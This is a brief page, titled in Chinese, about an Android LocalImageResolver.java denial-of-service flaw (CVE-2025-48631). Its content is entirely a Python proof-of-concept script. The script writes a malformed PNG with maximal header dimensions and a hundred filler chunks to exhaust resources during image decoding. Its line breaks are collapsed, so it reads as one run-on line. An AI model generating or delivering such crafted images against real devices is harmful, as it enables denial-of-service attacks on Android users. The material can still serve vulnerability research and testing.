Android LocalImageResolver.java 资源耗尽拒绝服务漏洞 (CVE-2025-48631)

import struct import os def create_malicious_image(): """ Generate a malicious image file to trigger CVE-2025-48631 This PoC creates an image with malformed header to cause resource exhaustion in LocalImageResolver.java onHeaderDecoded method """ # PNG signature png_signature = b'\x89PNG\r\n\x1a\n' # Create malformed IHDR chunk with invalid dimensions # Width and Height set to extreme values to trigger resource exhaustion ihdr_data = struct.pack('>II', 0x7FFFFFFF, 0x7FFFFFFF) # Max int dimensions ihdr_data += struct.pack('>BBBB', 8, 2, 0, 0) # Bit depth, color type, compression, filter # Calculate CRC for IHDR chunk import zlib ihdr_type = b'IHDR' ihdr_crc = zlib.crc32(ihdr_type + ihdr_data) & 0xFFFFFFFF # Construct malformed PNG with repeated header data malicious_data = png_signature malicious_data += struct.pack('>I', len(ihdr_data)) # Length malicious_data += ihdr_type + ihdr_data malicious_data += struct.pack('>I', ihdr_crc) # CRC # Add multiple malformed chunks to increase resource consumption for i in range(100): chunk_data = b'\x00' * 256 chunk_crc = zlib.crc32(b'FLT\x00' + chunk_data) & 0xFFFFFFFF malicious_data += struct.pack('>I', len(chunk_data)) malicious_data += b'FLT\x00' + chunk_data malicious_data += struct.pack('>I', chunk_crc) # Write malicious image file output_path = 'CVE-2025-48631_poc.png' with open(output_path, 'wb') as f: f.write(malicious_data) print(f'Malicious image created: {output_path}') print('This file can trigger resource exhaustion in Android LocalImageResolver') return output_path if __name__ == '__main__': create_malicious_image()